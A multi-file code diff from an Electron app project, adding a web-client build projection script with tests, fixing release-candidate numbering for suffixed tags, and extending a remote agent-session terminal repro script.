expect(packageStep.env.ORCA_REUSE_PREPARED_NATIVE_RUNTIME).toBe('1')
|
||||
})
|
||||
|
||||
it('keeps verify as the aggregate required check', () => {
|
||||
expect(workflow.jobs.verify.needs).toEqual([
|
||||
'static_analysis',
|
||||
'typecheck',
|
||||
'git_compatibility',
|
||||
'shell_contracts',
|
||||
'test',
|
||||
'package'
|
||||
])
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,165 @@
|
||||
import {
|
||||
cpSync,
|
||||
mkdirSync,
|
||||
readFileSync,
|
||||
readdirSync,
|
||||
renameSync,
|
||||
rmSync,
|
||||
statSync,
|
||||
writeFileSync
|
||||
} from 'node:fs'
|
||||
import { dirname, join, posix, resolve, sep } from 'node:path'
|
||||
import { transform } from 'esbuild'
|
||||
|
||||
const rendererOutput = resolve('out/renderer')
|
||||
const webOutput = resolve('out/web')
|
||||
const stagingOutput = resolve(dirname(webOutput), `.web-projection-${process.pid}`)
|
||||
const manifestPath = join(rendererOutput, '.vite', 'manifest.json')
|
||||
const manifest = JSON.parse(readFileSync(manifestPath, 'utf8'))
|
||||
const selectedFiles = new Set(['web-index.html'])
|
||||
const visitedEntries = new Set()
|
||||
|
||||
function assertEntryIsolation() {
|
||||
const entryKeys = new Set(
|
||||
Object.entries(manifest)
|
||||
.filter(([, entry]) => entry?.isEntry === true)
|
||||
.map(([key]) => key)
|
||||
)
|
||||
|
||||
for (const sourceEntry of entryKeys) {
|
||||
const visited = new Set()
|
||||
const pending = [sourceEntry]
|
||||
while (pending.length > 0) {
|
||||
const key = pending.pop()
|
||||
if (visited.has(key)) {
|
||||
continue
|
||||
}
|
||||
visited.add(key)
|
||||
const entry = manifest[key]
|
||||
if (!entry || typeof entry !== 'object') {
|
||||
throw new Error(`Renderer manifest is missing entry: ${key}`)
|
||||
}
|
||||
for (const dependency of [...(entry.imports ?? []), ...(entry.dynamicImports ?? [])]) {
|
||||
if (entryKeys.has(dependency) && dependency !== sourceEntry) {
|
||||
throw new Error(`Renderer entry ${sourceEntry} executes entry ${dependency}`)
|
||||
}
|
||||
pending.push(dependency)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function addOutputPath(outputPath) {
|
||||
if (
|
||||
typeof outputPath !== 'string' ||
|
||||
outputPath.length === 0 ||
|
||||
outputPath.startsWith('/') ||
|
||||
/^[A-Za-z]:/.test(outputPath) ||
|
||||
outputPath.includes('\\') ||
|
||||
outputPath.split('/').includes('..')
|
||||
) {
|
||||
throw new Error(`Invalid renderer output path: ${String(outputPath)}`)
|
||||
}
|
||||
selectedFiles.add(outputPath)
|
||||
}
|
||||
|
||||
function visitManifestEntry(key) {
|
||||
if (visitedEntries.has(key)) {
|
||||
return
|
||||
}
|
||||
visitedEntries.add(key)
|
||||
|
||||
const entry = manifest[key]
|
||||
if (!entry || typeof entry !== 'object') {
|
||||
throw new Error(`Renderer manifest is missing entry: ${key}`)
|
||||
}
|
||||
|
||||
addOutputPath(entry.file)
|
||||
for (const outputPath of [...(entry.css ?? []), ...(entry.assets ?? [])]) {
|
||||
addOutputPath(outputPath)
|
||||
}
|
||||
for (const dependency of [...(entry.imports ?? []), ...(entry.dynamicImports ?? [])]) {
|
||||
visitManifestEntry(dependency)
|
||||
}
|
||||
}
|
||||
|
||||
function listOutputFiles(directory, prefix = '') {
|
||||
return readdirSync(directory, { withFileTypes: true }).flatMap((entry) => {
|
||||
const outputPath = prefix ? join(prefix, entry.name) : entry.name
|
||||
return entry.isDirectory()
|
||||
? listOutputFiles(join(directory, entry.name), outputPath)
|
||||
: [outputPath.split(sep).join('/')]
|
||||
})
|
||||
}
|
||||
|
||||
function includeReferencedOutputs() {
|
||||
const candidates = listOutputFiles(rendererOutput).filter(
|
||||
(outputPath) => !outputPath.startsWith('.vite/') && !outputPath.endsWith('.html')
|
||||
)
|
||||
let foundReference = true
|
||||
|
||||
while (foundReference) {
|
||||
foundReference = false
|
||||
for (const selectedFile of selectedFiles) {
|
||||
if (!/\.(?:css|html|m?js|svg)$/.test(selectedFile)) {
|
||||
continue
|
||||
}
|
||||
const contents = readFileSync(join(rendererOutput, selectedFile), 'utf8')
|
||||
for (const candidate of candidates) {
|
||||
if (selectedFiles.has(candidate)) {
|
||||
continue
|
||||
}
|
||||
const localReference = posix.relative(posix.dirname(selectedFile), candidate)
|
||||
if (contents.includes(candidate) || contents.includes(localReference)) {
|
||||
selectedFiles.add(candidate)
|
||||
foundReference = true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async function minifyWebOutput() {
|
||||
await Promise.all(
|
||||
[...selectedFiles]
|
||||
.filter((outputPath) => /\.(?:css|m?js)$/.test(outputPath))
|
||||
.map(async (outputPath) => {
|
||||
const targetPath = join(stagingOutput, outputPath)
|
||||
const loader = outputPath.endsWith('.css') ? 'css' : 'js'
|
||||
const result = await transform(readFileSync(targetPath, 'utf8'), {
|
||||
legalComments: 'none',
|
||||
loader,
|
||||
minify: true,
|
||||
target: 'es2020'
|
||||
})
|
||||
writeFileSync(targetPath, result.code)
|
||||
})
|
||||
)
|
||||
}
|
||||
|
||||
assertEntryIsolation()
|
||||
visitManifestEntry('web-index.html')
|
||||
includeReferencedOutputs()
|
||||
|
||||
rmSync(stagingOutput, { force: true, recursive: true })
|
||||
try {
|
||||
for (const outputPath of selectedFiles) {
|
||||
const targetPath = join(stagingOutput, outputPath)
|
||||
mkdirSync(dirname(targetPath), { recursive: true })
|
||||
cpSync(join(rendererOutput, outputPath), targetPath)
|
||||
}
|
||||
await minifyWebOutput()
|
||||
|
||||
rmSync(webOutput, { force: true, recursive: true })
|
||||
renameSync(stagingOutput, webOutput)
|
||||
} finally {
|
||||
rmSync(stagingOutput, { force: true, recursive: true })
|
||||
}
|
||||
|
||||
const outputBytes = [...selectedFiles].reduce(
|
||||
(total, outputPath) => total + statSync(join(webOutput, outputPath)).size,
|
||||
0
|
||||
)
|
||||
console.log(
|
||||
`Projected web client: ${selectedFiles.size} files, ${(outputBytes / 1024 / 1024).toFixed(1)} MiB`
|
||||
)
|
||||
@@ -0,0 +1,117 @@
|
||||
import { existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { dirname, join, resolve } from 'node:path'
|
||||
import { spawnSync } from 'node:child_process'
|
||||
import { afterEach, describe, expect, it } from 'vitest'
|
||||
|
||||
const scriptPath = resolve('config/scripts/project-renderer-web-client.mjs')
|
||||
const temporaryRoots = []
|
||||
|
||||
function writeFixtureFile(root, relativePath, contents) {
|
||||
const targetPath = join(root, relativePath)
|
||||
mkdirSync(dirname(targetPath), { recursive: true })
|
||||
writeFileSync(targetPath, contents)
|
||||
}
|
||||
|
||||
function createRendererFixture() {
|
||||
const root = mkdtempSync(join(tmpdir(), 'orca-web-projection-'))
|
||||
temporaryRoots.push(root)
|
||||
const manifest = {
|
||||
'web-index.html': {
|
||||
file: 'assets/web-entry.js',
|
||||
isEntry: true,
|
||||
imports: ['_web-shared.js'],
|
||||
dynamicImports: ['src/lazy.ts']
|
||||
},
|
||||
'_web-shared.js': {
|
||||
file: 'assets/web-shared.js',
|
||||
css: ['assets/web.css'],
|
||||
assets: ['assets/logo.png']
|
||||
},
|
||||
'src/lazy.ts': { file: 'assets/lazy.js' },
|
||||
'index.html': { file: 'assets/desktop-entry.js', isEntry: true }
|
||||
}
|
||||
|
||||
writeFixtureFile(root, 'out/renderer/.vite/manifest.json', JSON.stringify(manifest))
|
||||
writeFixtureFile(
|
||||
root,
|
||||
'out/renderer/web-index.html',
|
||||
'<script type="module" src="./assets/web-entry.js"></script>'
|
||||
)
|
||||
writeFixtureFile(
|
||||
root,
|
||||
'out/renderer/assets/web-entry.js',
|
||||
'import "./web-shared.js"; new Worker(new URL("editor.worker-fixture.js", import.meta.url));'
|
||||
)
|
||||
writeFixtureFile(root, 'out/renderer/assets/web-shared.js', 'export const value = 1;')
|
||||
writeFixtureFile(root, 'out/renderer/assets/lazy.js', 'export const lazyValue = true;')
|
||||
writeFixtureFile(root, 'out/renderer/assets/web.css', '.root { color: red; }')
|
||||
writeFixtureFile(root, 'out/renderer/assets/logo.png', 'fixture-logo')
|
||||
writeFixtureFile(
|
||||
root,
|
||||
'out/renderer/assets/editor.worker-fixture.js',
|
||||
'self.onmessage = function (event) { self.postMessage(event.data) }'
|
||||
)
|
||||
writeFixtureFile(root, 'out/renderer/assets/desktop-entry.js', 'export const desktop = true;')
|
||||
writeFixtureFile(root, 'out/web/stale.js', 'stale')
|
||||
return root
|
||||
}
|
||||
|
||||
afterEach(() => {
|
||||
for (const root of temporaryRoots.splice(0)) {
|
||||
rmSync(root, { force: true, recursive: true })
|
||||
}
|
||||
})
|
||||
|
||||
describe('renderer web client projection', () => {
|
||||
it('keeps the build-only manifest out of packaged apps', () => {
|
||||
const builderConfig = readFileSync(resolve('config/electron-builder.config.cjs'), 'utf8')
|
||||
|
||||
expect(builderConfig).toContain("'!out/renderer/.vite{,/**/*}'")
|
||||
})
|
||||
|
||||
it('copies and minifies only the web dependency closure', () => {
|
||||
const root = createRendererFixture()
|
||||
const result = spawnSync(process.execPath, [scriptPath], {
|
||||
cwd: root,
|
||||
encoding: 'utf8'
|
||||
})
|
||||
|
||||
expect(result.status, result.stderr).toBe(0)
|
||||
expect(result.stdout).toContain('Projected web client: 7 files')
|
||||
expect(existsSync(join(root, 'out/web/web-index.html'))).toBe(true)
|
||||
expect(existsSync(join(root, 'out/web/assets/editor.worker-fixture.js'))).toBe(true)
|
||||
expect(existsSync(join(root, 'out/web/assets/logo.png'))).toBe(true)
|
||||
expect(existsSync(join(root, 'out/web/assets/desktop-entry.js'))).toBe(false)
|
||||
expect(existsSync(join(root, 'out/web/stale.js'))).toBe(false)
|
||||
expect(readFileSync(join(root, 'out/web/assets/web.css'), 'utf8')).toBe('.root{color:red}\n')
|
||||
})
|
||||
|
||||
it('fails when the renderer manifest omits the web entry', () => {
|
||||
const root = createRendererFixture()
|
||||
writeFixtureFile(root, 'out/renderer/.vite/manifest.json', '{}')
|
||||
const result = spawnSync(process.execPath, [scriptPath], {
|
||||
cwd: root,
|
||||
encoding: 'utf8'
|
||||
})
|
||||
|
||||
expect(result.status).toBe(1)
|
||||
expect(result.stderr).toContain('Renderer manifest is missing entry: web-index.html')
|
||||
})
|
||||
|
||||
it('rejects renderer entries that execute another entry root', () => {
|
||||
const root = createRendererFixture()
|
||||
const manifestPath = join(root, 'out/renderer/.vite/manifest.json')
|
||||
const manifest = JSON.parse(readFileSync(manifestPath, 'utf8'))
|
||||
manifest['web-index.html'].dynamicImports.push('index.html')
|
||||
writeFileSync(manifestPath, JSON.stringify(manifest))
|
||||
|
||||
const result = spawnSync(process.execPath, [scriptPath], {
|
||||
cwd: root,
|
||||
encoding: 'utf8'
|
||||
})
|
||||
|
||||
expect(result.status).toBe(1)
|
||||
expect(result.stderr).toContain('Renderer entry web-index.html executes entry index.html')
|
||||
})
|
||||
})
|
||||
@@ -38,7 +38,12 @@ export function rcNumberFromReleaseSubject(base, subject) {
|
||||
return null
|
||||
}
|
||||
|
||||
const match = /^(\d+)(?:\s|$)/.exec(subject.slice(prefix.length))
|
||||
// Why the same optional .identifier as the tag form: the commit subject is
|
||||
// the only record left once a tag is deleted, and that is exactly when the
|
||||
// explicit-version gate leans on this. Without it, deleting a
|
||||
// v1.2.3-rc.4.perf tag drops the series back to rc.3 and an explicit
|
||||
// 1.2.3-rc.4 is waved through — below what perf-channel clients already run.
|
||||
const match = /^(\d+)(?:\.[0-9A-Za-z]+)?(?:\s|$)/.exec(subject.slice(prefix.length))
|
||||
return match ? Number(match[1]) : null
|
||||
}
|
||||
|
||||
|
||||
@@ -53,6 +53,29 @@ describe('release RC history', () => {
|
||||
expect(rcNumberFromReleaseSubject('1.4.36', 'fix: v1.4.36-rc.6')).toBeNull()
|
||||
})
|
||||
|
||||
it('counts a suffixed side-branch RC from its subject as well as its tag', () => {
|
||||
expect(rcNumberFromTag('1.4.36', 'v1.4.36-rc.6.perf')).toBe(6)
|
||||
expect(rcNumberFromReleaseSubject('1.4.36', 'release: v1.4.36-rc.6.perf')).toBe(6)
|
||||
expect(
|
||||
rcNumberFromReleaseSubject('1.4.36', 'release: v1.4.36-rc.6.perf [rc-slot:2026-05-30-03]')
|
||||
).toBe(6)
|
||||
})
|
||||
|
||||
it('keeps a suffixed RC counted once its tag is deleted', () => {
|
||||
withGitRepo((repo) => {
|
||||
commit(repo, 'initial')
|
||||
commit(repo, 'release: v1.4.36-rc.5')
|
||||
git(repo, ['tag', 'v1.4.36-rc.5'])
|
||||
// Why this case: the subject is the only record left after the tag goes,
|
||||
// and that is precisely when release-cut's explicit-version gate reads
|
||||
// this. Under-reporting rc.6 here lets an explicit 1.4.36-rc.6 cut land
|
||||
// below the v1.4.36-rc.6.perf build that clients already run.
|
||||
commit(repo, 'release: v1.4.36-rc.6.perf')
|
||||
|
||||
expect(highestRcForBase('1.4.36', { cwd: repo })).toBe(6)
|
||||
})
|
||||
})
|
||||
|
||||
it('keeps RC numbers monotonic after a stale tag is deleted', () => {
|
||||
withGitRepo((repo) => {
|
||||
commit(repo, 'initial')
|
||||
|
||||
@@ -10,14 +10,23 @@ import {
|
||||
rmSync,
|
||||
writeFileSync
|
||||
} from 'node:fs'
|
||||
import { createRequire } from 'node:module'
|
||||
import net from 'node:net'
|
||||
import os from 'node:os'
|
||||
import path from 'node:path'
|
||||
import { createInterface } from 'node:readline'
|
||||
import { cleanupIsolatedDaemons, isProcessAlive } from './remote-agent-session-process-cleanup.mjs'
|
||||
|
||||
const repoRoot = path.resolve(import.meta.dirname, '..', '..')
|
||||
const { parsePaneKey } = createRequire(import.meta.url)(
|
||||
path.join(repoRoot, 'out', 'shared', 'stable-pane-id.js')
|
||||
)
|
||||
const clientScript = path.join(import.meta.dirname, 'remote-agent-session-repro-client.mjs')
|
||||
const fixtureScript = path.join(import.meta.dirname, 'remote-agent-session-repro-fixture.mjs')
|
||||
const writableShellScript = path.join(
|
||||
import.meta.dirname,
|
||||
'remote-agent-session-repro-writable-shell.mjs'
|
||||
)
|
||||
// Why: macOS limits Unix-domain socket paths to 104 bytes; the server profile
|
||||
// creates nested daemon/runtime sockets below this disposable directory.
|
||||
const scratch = mkdtempSync(path.join(os.tmpdir(), 'oa-'))
|
||||
@@ -25,9 +34,13 @@ const profilePath = path.join(scratch, 'profile')
|
||||
const projectPath = path.join(scratch, 'repo')
|
||||
const binPath = path.join(scratch, 'bin')
|
||||
const spawnMarkerPath = path.join(scratch, 'agent-spawns.txt')
|
||||
const inputMarkerPath = path.join(scratch, 'agent-input.txt')
|
||||
const exitTriggerPath = path.join(scratch, 'exit-agent')
|
||||
const agentSessionToken = '--orca-repro-agent-session'
|
||||
const childProcesses = new Set()
|
||||
let server = null
|
||||
let activePairingCode = null
|
||||
let activeWorktree = null
|
||||
|
||||
try {
|
||||
mkdirSync(profilePath, { recursive: true })
|
||||
@@ -61,6 +74,7 @@ try {
|
||||
const port = await reservePort()
|
||||
const firstReady = await startServer(port)
|
||||
const pairingCode = firstReady.pairing.url
|
||||
activePairingCode = pairingCode
|
||||
|
||||
const addedRepo = await callClient(pairingCode, 'repo.add', { path: projectPath })
|
||||
assertOk(addedRepo, 'fixture repo registration')
|
||||
@@ -77,12 +91,58 @@ try {
|
||||
)
|
||||
}
|
||||
const worktree = `id:${fixtureWorktree.id}`
|
||||
activeWorktree = worktree
|
||||
const freshRequest = {
|
||||
clientOperationId: `${Date.now()}-0123456789abcdef0123456789abcdef`,
|
||||
worktree,
|
||||
agent: 'codex',
|
||||
presentation: 'focused'
|
||||
}
|
||||
const droppedFresh = await callClient(
|
||||
pairingCode,
|
||||
'terminal.createAgentSession',
|
||||
freshRequest,
|
||||
'drop-response'
|
||||
)
|
||||
if (!droppedFresh.droppedResponse) {
|
||||
throw new Error(`fresh response was not dropped: ${JSON.stringify(droppedFresh)}`)
|
||||
}
|
||||
let committedFreshTerminal = null
|
||||
await waitFor(async () => {
|
||||
const terminals = await callClient(pairingCode, 'terminal.list', { worktree })
|
||||
if (!terminals.ok || terminals.result.terminals.length !== 1 || countSpawnMarkers() !== 1) {
|
||||
return false
|
||||
}
|
||||
committedFreshTerminal = terminals.result.terminals[0]
|
||||
return true
|
||||
}, 'fresh host commit after response loss')
|
||||
const fresh = await callClient(pairingCode, 'terminal.createAgentSession', freshRequest)
|
||||
assertOk(fresh, 'focused fresh retry after response loss')
|
||||
if (fresh.result.disposition !== 'replayed') {
|
||||
throw new Error(`fresh retry was ${fresh.result.disposition}, expected replayed`)
|
||||
}
|
||||
assertTerminalInventoryIdentity(committedFreshTerminal, fresh.result.terminal)
|
||||
if (fresh.result.terminal.surface !== 'background') {
|
||||
throw new Error(`execution host returned ${fresh.result.terminal.surface}, expected background`)
|
||||
}
|
||||
if (countSpawnMarkers() !== 1) {
|
||||
throw new Error('fresh retry after response loss started a second agent')
|
||||
}
|
||||
await sendMarker(pairingCode, fresh.result.terminal.handle, 'fresh-agent-writable')
|
||||
const shell = await callClient(pairingCode, 'terminal.create', {
|
||||
worktree,
|
||||
command: fixtureCommand(writableShellScript, inputMarkerPath),
|
||||
presentation: 'background'
|
||||
})
|
||||
assertOk(shell, 'unrelated writable shell creation')
|
||||
await sendMarker(pairingCode, shell.result.terminal.handle, 'shell-writable')
|
||||
|
||||
const resumeRequest = {
|
||||
kind: 'explicit',
|
||||
worktree,
|
||||
agent: 'codex',
|
||||
providerSession: { key: 'session_id', id: 'remote-authority-repro' },
|
||||
presentation: 'background'
|
||||
presentation: 'focused'
|
||||
}
|
||||
|
||||
const [first, second] = await Promise.all([
|
||||
@@ -94,7 +154,9 @@ try {
|
||||
const dispositions = [first.result.disposition, second.result.disposition].sort()
|
||||
assertJsonEqual(dispositions, ['adopted', 'created'], 'race dispositions')
|
||||
assertSameTerminal(first.result.terminal, second.result.terminal)
|
||||
await waitFor(() => countSpawnMarkers() === 1, 'exactly one fixture agent spawn')
|
||||
assertBackgroundSurface(first.result.terminal, 'first racing resume')
|
||||
assertBackgroundSurface(second.result.terminal, 'second racing resume')
|
||||
await waitFor(() => countSpawnMarkers() === 2, 'exactly one fresh and one resumed spawn')
|
||||
|
||||
const retry = await callClient(pairingCode, 'terminal.ensureAgentSession', resumeRequest)
|
||||
assertOk(retry, 'resume retry')
|
||||
@@ -102,9 +164,14 @@ try {
|
||||
throw new Error(`resume retry was ${retry.result.disposition}, expected adopted`)
|
||||
}
|
||||
assertSameTerminal(first.result.terminal, retry.result.terminal)
|
||||
if (countSpawnMarkers() !== 1) {
|
||||
throw new Error('resume retry started a second agent')
|
||||
assertBackgroundSurface(retry.result.terminal, 'resume retry')
|
||||
const spawnCountAfterRetry = countSpawnMarkers()
|
||||
if (spawnCountAfterRetry !== 2) {
|
||||
throw new Error(
|
||||
`resume retry changed spawn count to ${spawnCountAfterRetry}: ${readFileSync(spawnMarkerPath, 'utf8')}`
|
||||
)
|
||||
}
|
||||
await sendMarker(pairingCode, retry.result.terminal.handle, 'resume-agent-writable')
|
||||
|
||||
const closed = await callClient(pairingCode, 'terminal.close', {
|
||||
terminal: first.result.terminal.handle
|
||||
@@ -115,22 +182,44 @@ try {
|
||||
callClient(pairingCode, 'terminal.list', { worktree }),
|
||||
callClient(pairingCode, 'session.tabs.list', { worktree })
|
||||
])
|
||||
const expectedParentTabIds = [fresh.result.terminal.tabId, shell.result.terminal.tabId].sort()
|
||||
const actualParentTabIds = tabs.ok
|
||||
? tabs.result.tabs
|
||||
.filter((tab) => tab.type === 'terminal')
|
||||
.map((tab) => tab.parentTabId)
|
||||
.sort()
|
||||
: []
|
||||
return (
|
||||
terminals.ok &&
|
||||
tabs.ok &&
|
||||
terminals.result.terminals.length === 0 &&
|
||||
tabs.result.tabs.length === 0
|
||||
terminals.result.terminals.length === 2 &&
|
||||
terminals.result.terminals.some(
|
||||
(terminal) => terminal.handle === fresh.result.terminal.handle
|
||||
) &&
|
||||
terminals.result.terminals.some(
|
||||
(terminal) => terminal.handle === shell.result.terminal.handle
|
||||
) &&
|
||||
JSON.stringify(actualParentTabIds) === JSON.stringify(expectedParentTabIds) &&
|
||||
!actualParentTabIds.includes(first.result.terminal.tabId)
|
||||
)
|
||||
}, 'exited surface retirement')
|
||||
}, 'resume retirement without unrelated terminal loss')
|
||||
|
||||
const oldTerminal = first.result.terminal
|
||||
if (oldTerminal.tabId && oldTerminal.paneKey) {
|
||||
const leafId = oldTerminal.paneKey.slice(oldTerminal.paneKey.indexOf(':') + 1)
|
||||
await callClient(pairingCode, 'session.tabs.updatePaneLayout', {
|
||||
worktree,
|
||||
tabId: oldTerminal.tabId,
|
||||
root: { type: 'leaf', id: leafId, ptyId: oldTerminal.ptyId ?? undefined }
|
||||
}).catch(() => null)
|
||||
if (!oldTerminal.tabId || !oldTerminal.paneKey || !oldTerminal.ptyId) {
|
||||
throw new Error(`retired terminal identity is incomplete: ${JSON.stringify(oldTerminal)}`)
|
||||
}
|
||||
const parsedPaneKey = parsePaneKey(oldTerminal.paneKey)
|
||||
if (!parsedPaneKey || parsedPaneKey.tabId !== oldTerminal.tabId) {
|
||||
throw new Error(`retired terminal pane identity is invalid: ${JSON.stringify(oldTerminal)}`)
|
||||
}
|
||||
const leafId = parsedPaneKey.leafId
|
||||
const staleWrite = await callClient(pairingCode, 'session.tabs.updatePaneLayout', {
|
||||
worktree,
|
||||
tabId: oldTerminal.tabId,
|
||||
root: { type: 'leaf', id: leafId, ptyId: oldTerminal.ptyId }
|
||||
})
|
||||
if (staleWrite.ok || staleWrite.error?.code !== 'invalid_argument') {
|
||||
throw new Error(`stale pane publication was not rejected: ${JSON.stringify(staleWrite)}`)
|
||||
}
|
||||
|
||||
const [afterStaleTerminals, afterStaleTabs] = await Promise.all([
|
||||
@@ -139,12 +228,53 @@ try {
|
||||
])
|
||||
assertOk(afterStaleTerminals, 'terminal list after stale publication')
|
||||
assertOk(afterStaleTabs, 'tab list after stale publication')
|
||||
assertJsonEqual(afterStaleTerminals.result.terminals, [], 'terminal stale-write resurrection')
|
||||
assertJsonEqual(afterStaleTabs.result.tabs, [], 'tab stale-write resurrection')
|
||||
assertJsonEqual(
|
||||
afterStaleTerminals.result.terminals.map((terminal) => terminal.handle).sort(),
|
||||
[fresh.result.terminal.handle, shell.result.terminal.handle].sort(),
|
||||
'terminal stale-write resurrection'
|
||||
)
|
||||
assertJsonEqual(
|
||||
afterStaleTabs.result.tabs
|
||||
.filter((tab) => tab.type === 'terminal')
|
||||
.map((tab) => tab.parentTabId)
|
||||
.sort(),
|
||||
[fresh.result.terminal.tabId, shell.result.terminal.tabId].sort(),
|
||||
'tab stale-write resurrection'
|
||||
)
|
||||
if (
|
||||
afterStaleTabs.result.tabs.some(
|
||||
(tab) => tab.type === 'terminal' && tab.parentTabId === oldTerminal.tabId
|
||||
)
|
||||
) {
|
||||
throw new Error('stale publication restored the retired resume tab')
|
||||
}
|
||||
|
||||
const freshClosed = await callClient(pairingCode, 'terminal.close', {
|
||||
terminal: fresh.result.terminal.handle
|
||||
})
|
||||
assertOk(freshClosed, 'unrelated fresh terminal close')
|
||||
const remainingClosed = await callClient(pairingCode, 'terminal.stop', { worktree })
|
||||
assertOk(remainingClosed, 'isolated fixture terminal cleanup')
|
||||
await waitFor(async () => {
|
||||
const terminals = await callClient(pairingCode, 'terminal.list', { worktree })
|
||||
return terminals.ok && terminals.result.terminals.length === 0
|
||||
}, 'fresh terminal retirement')
|
||||
await waitFor(
|
||||
() =>
|
||||
readAgentSpawnPids().length === 2 &&
|
||||
readAgentSpawnPids().every((pid) => !isProcessAlive(pid)),
|
||||
'fixture agent process exit'
|
||||
)
|
||||
if (countSpawnMarkers() !== 2) {
|
||||
throw new Error(
|
||||
`cleanup observed a delayed extra spawn: ${readFileSync(spawnMarkerPath, 'utf8')}`
|
||||
)
|
||||
}
|
||||
|
||||
await stopServer()
|
||||
const restarted = await startServer(port)
|
||||
const restartPairingCode = restarted.pairing.url
|
||||
activePairingCode = restartPairingCode
|
||||
const [afterRestartTerminals, afterRestartTabs] = await Promise.all([
|
||||
callClient(restartPairingCode, 'terminal.list', { worktree }),
|
||||
callClient(restartPairingCode, 'session.tabs.list', { worktree })
|
||||
@@ -153,15 +283,29 @@ try {
|
||||
assertOk(afterRestartTabs, 'tab list after restart')
|
||||
assertJsonEqual(afterRestartTerminals.result.terminals, [], 'terminal resurrection after restart')
|
||||
assertJsonEqual(afterRestartTabs.result.tabs, [], 'tab resurrection after restart')
|
||||
const aliveAfterRestart = readAgentSpawnPids().filter(isProcessAlive)
|
||||
const spawnCountAfterRestart = countSpawnMarkers()
|
||||
if (aliveAfterRestart.length > 0 || spawnCountAfterRestart !== 2) {
|
||||
throw new Error(
|
||||
`restart restored or respawned a retired fixture agent: alive=${JSON.stringify(aliveAfterRestart)}, spawns=${JSON.stringify(readFileSync(spawnMarkerPath, 'utf8').trim().split(/\r?\n/))}`
|
||||
)
|
||||
}
|
||||
|
||||
process.stdout.write(
|
||||
'PASS remote agent-session authority: one spawn, retry adoption, durable exit retirement, no restart resurrection\n'
|
||||
'PASS remote agent-session authority: fresh/resume focus isolation, response-loss replay, writable PTYs, one spawn per operation, retry adoption, unrelated survival, stale rejection, durable retirement\n'
|
||||
)
|
||||
} finally {
|
||||
if (activePairingCode && activeWorktree) {
|
||||
await callClient(activePairingCode, 'terminal.stop', { worktree: activeWorktree }).catch(
|
||||
() => null
|
||||
)
|
||||
}
|
||||
writeFileSync(exitTriggerPath, '')
|
||||
await stopServer().catch(() => {})
|
||||
for (const child of childProcesses) {
|
||||
child.kill()
|
||||
}
|
||||
await cleanupIsolatedDaemons(profilePath)
|
||||
rmSync(scratch, { recursive: true, force: true })
|
||||
}
|
||||
|
||||
@@ -183,14 +327,23 @@ function installFixtureAgent(targetDir) {
|
||||
|
||||
function quoteFixtureAgentCommand(commandPath) {
|
||||
return process.platform === 'win32'
|
||||
? `"${commandPath.replaceAll('"', '""')}"`
|
||||
: shellQuote(commandPath)
|
||||
? `"${commandPath.replaceAll('"', '""')}" ${agentSessionToken}`
|
||||
: `${shellQuote(commandPath)} ${agentSessionToken}`
|
||||
}
|
||||
|
||||
function shellQuote(value) {
|
||||
return `'${value.replaceAll("'", `'\\''`)}'`
|
||||
}
|
||||
|
||||
function fixtureCommand(scriptPath, markerPath) {
|
||||
if (process.platform === 'win32') {
|
||||
return [process.execPath, scriptPath, markerPath]
|
||||
.map((value) => `"${value.replaceAll('"', '""')}"`)
|
||||
.join(' ')
|
||||
}
|
||||
return [process.execPath, scriptPath, markerPath].map(shellQuote).join(' ')
|
||||
}
|
||||
|
||||
async function reservePort() {
|
||||
return await new Promise((resolve, reject) => {
|
||||
const listener = net.createServer()
|
||||
@@ -214,6 +367,8 @@ async function startServer(port) {
|
||||
ORCA_USER_DATA_PATH: profilePath,
|
||||
ORCA_REPRO_SPAWN_MARKER: spawnMarkerPath,
|
||||
ORCA_REPRO_EXIT_TRIGGER: exitTriggerPath,
|
||||
ORCA_REPRO_INPUT_MARKER: inputMarkerPath,
|
||||
ORCA_REPRO_AGENT_SESSION_TOKEN: agentSessionToken,
|
||||
...(process.platform === 'linux' ? { ELECTRON_DISABLE_SANDBOX: '1' } : {})
|
||||
}
|
||||
server = spawn(
|
||||
@@ -281,13 +436,17 @@ async function stopServer() {
|
||||
})
|
||||
}
|
||||
|
||||
async function callClient(pairingCode, method, params) {
|
||||
async function callClient(pairingCode, method, params, responseMode) {
|
||||
return await new Promise((resolve, reject) => {
|
||||
const child = spawn(
|
||||
process.execPath,
|
||||
[clientScript, pairingCode, method, JSON.stringify(params)],
|
||||
{ cwd: repoRoot, stdio: ['ignore', 'pipe', 'pipe'], windowsHide: true }
|
||||
)
|
||||
const args = [clientScript, pairingCode, method, JSON.stringify(params)]
|
||||
if (responseMode) {
|
||||
args.push(responseMode)
|
||||
}
|
||||
const child = spawn(process.execPath, args, {
|
||||
cwd: repoRoot,
|
||||
stdio: ['ignore', 'pipe', 'pipe'],
|
||||
windowsHide: true
|
||||
})
|
||||
childProcesses.add(child)
|
||||
let stdout = ''
|
||||
let stderr = ''
|
||||
@@ -325,6 +484,38 @@ function countSpawnMarkers() {
|
||||
return readFileSync(spawnMarkerPath, 'utf8').split(/\r?\n/).filter(Boolean).length
|
||||
}
|
||||
|
||||
function readAgentSpawnPids() {
|
||||
if (!existsSync(spawnMarkerPath)) {
|
||||
return []
|
||||
}
|
||||
return readFileSync(spawnMarkerPath, 'utf8')
|
||||
.split(/\r?\n/)
|
||||
.filter(Boolean)
|
||||
.map((line) => Number(line.split(':', 1)[0]))
|
||||
.filter((pid) => Number.isInteger(pid) && pid > 0)
|
||||
}
|
||||
|
||||
function assertBackgroundSurface(terminal, description) {
|
||||
if (terminal.surface !== 'background') {
|
||||
throw new Error(`${description} returned ${terminal.surface}, expected background`)
|
||||
}
|
||||
}
|
||||
|
||||
async function sendMarker(pairingCode, terminal, marker) {
|
||||
const response = await callClient(pairingCode, 'terminal.send', {
|
||||
terminal,
|
||||
text: `${marker}\n`
|
||||
})
|
||||
assertOk(response, `${marker} terminal send`)
|
||||
if (!response.result.send.accepted) {
|
||||
throw new Error(`${marker} terminal send was refused`)
|
||||
}
|
||||
await waitFor(
|
||||
() => existsSync(inputMarkerPath) && readFileSync(inputMarkerPath, 'utf8').includes(marker),
|
||||
`${marker} input delivery`
|
||||
)
|
||||
}
|
||||
|
||||
async function waitFor(predicate, description) {
|
||||
const deadline = Date.now() + 15_000
|
||||
let lastError = null
|
||||
@@ -355,6 +546,14 @@ function assertSameTerminal(left, right) {
|
||||
)
|
||||
}
|
||||
